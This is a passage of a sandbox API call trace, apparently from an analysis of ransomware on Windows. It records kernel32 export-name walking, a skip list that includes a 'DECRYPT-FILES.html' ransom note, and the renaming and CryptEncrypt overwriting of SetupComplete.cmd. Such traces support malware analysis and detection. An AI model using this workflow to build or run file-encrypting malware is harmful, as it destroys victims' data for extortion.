lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0107.429] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0107.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0107.429] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0107.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0107.429] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0107.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0107.429] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0107.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0107.429] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0107.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0107.429] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0107.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0107.429] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0107.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0107.429] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0107.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0107.430] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0107.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0107.430] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0107.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0107.430] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0107.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0107.430] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0107.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0107.430] lstrlenA (lpString="CREATEEVENTA") returned 12 [0107.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0107.430] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0107.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0107.430] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0107.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0107.430] lstrlenA (lpString="CREATEEVENTW") returned 12 [0107.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0107.430] lstrlenA (lpString="CREATEFIBER") returned 11 [0107.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0107.430] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0107.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0107.430] lstrlenA (lpString="CREATEFILE2") returned 11 [0107.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0107.431] lstrlenA (lpString="CREATEFILEA") returned 11 [0107.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0107.431] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0107.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0107.431] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0107.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0107.431] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0107.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0107.431] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0107.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0107.431] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0107.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0107.431] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0107.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0107.431] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0107.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0107.431] lstrlenA (lpString="CREATEFILEW") returned 11 [0107.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0107.431] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0107.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0107.432] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0107.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0107.432] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0107.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0107.432] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0107.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0107.432] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0107.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0107.432] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0107.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0107.432] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0107.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0107.432] lstrlenA (lpString="CREATEJOBSET") returned 12 [0107.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0107.432] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0107.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0107.432] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0107.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0107.432] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0107.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0107.433] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0107.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0107.433] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0107.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0107.433] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0107.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0107.433] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0107.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0107.433] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0107.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0107.433] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0107.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0107.433] lstrlenA (lpString="CREATEPIPE") returned 10 [0107.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0107.433] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0107.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0107.433] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0107.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0107.433] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0107.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0107.433] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0107.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0107.433] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0107.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0107.433] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0107.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0107.433] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0107.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0107.433] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0107.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0107.433] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0107.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0107.433] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0107.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0107.434] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0107.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0107.434] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0107.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0107.434] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0107.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0107.434] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0107.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0107.434] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0107.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0107.434] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0107.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0107.434] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0107.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0107.434] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0107.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0107.434] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0107.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0107.434] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0107.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0107.434] lstrlenA (lpString="CREATETHREAD") returned 12 [0107.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0107.434] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0107.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0107.434] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0107.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0107.434] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0107.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0107.434] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0107.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0107.434] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0107.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0107.434] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0107.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0107.435] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0107.435] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0107.435] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.Pklt") returned 38 [0107.435] MoveFileExW (lpExistingFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), lpNewFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.Pklt" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.pklt"), dwFlags=0x0) returned 1 [0107.435] VirtualFree (lpAddress=0x3b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.436] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.436] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.437] FindNextFileW (in: hFindFile=0x6bbdf0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x7b76, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0107.437] lstrcmpiW (lpString1="SetupComplete.cmd", lpString2="DECRYPT-FILES.html") returned 1 [0107.437] lstrcmpiW (lpString1="SetupComplete.cmd", lpString2="autorun.inf") returned 1 [0107.437] lstrcmpiW (lpString1="SetupComplete.cmd", lpString2="boot.ini") returned 1 [0107.437] lstrcmpiW (lpString1="SetupComplete.cmd", lpString2="desktop.ini") returned 1 [0107.437] lstrcmpiW (lpString1="SetupComplete.cmd", lpString2="ntuser.dat") returned 1 [0107.437] lstrcmpiW (lpString1="SetupComplete.cmd", lpString2="iconcache.db") returned 1 [0107.437] lstrcmpiW (lpString1="SetupComplete.cmd", lpString2="bootsect.bak") returned 1 [0107.437] lstrcmpiW (lpString1="SetupComplete.cmd", lpString2="ntuser.dat.log") returned 1 [0107.437] lstrcmpiW (lpString1="SetupComplete.cmd", lpString2="thumbs.db") returned -1 [0107.437] lstrcmpiW (lpString1="SetupComplete.cmd", lpString2="Bootfont.bin") returned 1 [0107.437] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\") returned 22 [0107.437] lstrlenW (lpString="SetupComplete.cmd") returned 17 [0107.437] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\$GetCurrent\\SafeOS\\" | out: lpString1="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\" [0107.437] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS\\", lpString2="SetupComplete.cmd" | out: lpString1="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" [0107.437] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0107.437] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0108.678] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=307) returned 1 [0108.678] CreateFileMappingW (hFile=0x53c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x540 [0108.679] MapViewOfFile (hFileMappingObject=0x540, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3b70000 [0108.680] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x3000000 | out: pbBuffer=0x3000000) returned 1 [0108.680] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x3000020 | out: pbBuffer=0x3000020) returned 1 [0108.680] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0108.680] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b80000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x3b80000*, pdwDataLen=0x38be718*=0x100) returned 1 [0108.681] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3b90000 [0108.681] VirtualFree (lpAddress=0x3b90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.682] UnmapViewOfFile (lpBaseAddress=0x3b70000) returned 1 [0108.682] CloseHandle (hObject=0x540) returned 1 [0108.682] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.682] WriteFile (in: hFile=0x53c, lpBuffer=0x3b80000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x3b80000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0108.683] CloseHandle (hObject=0x0) returned 0 [0108.683] CloseHandle (hObject=0x53c) returned 1 [0108.684] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.684] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.684] GetTickCount () returned 0x30aaf [0108.684] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0108.685] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0108.685] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3b70000 [0108.685] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0108.686] lstrlenA (lpString="kernel32.dll") returned 12 [0108.689] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0108.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0108.690] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0108.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0108.691] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0108.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0108.691] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0108.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0108.691] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0108.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0108.691] lstrlenA (lpString="ADDATOMA") returned 8 [0108.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0108.691] lstrlenA (lpString="ADDATOMW") returned 8 [0108.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0108.691] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0108.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0108.691] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0108.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0108.691] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0108.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0108.691] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0108.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0108.692] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0108.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0108.692] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0108.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0108.692] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0108.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0108.692] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0108.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0108.692] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0108.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0108.692] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0108.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0108.692] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0108.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0108.692] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0108.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0108.692] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0108.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0108.693] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0108.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0108.693] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0108.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0108.693] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0108.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0108.693] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0108.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0108.693] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0108.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0108.693] lstrlenA 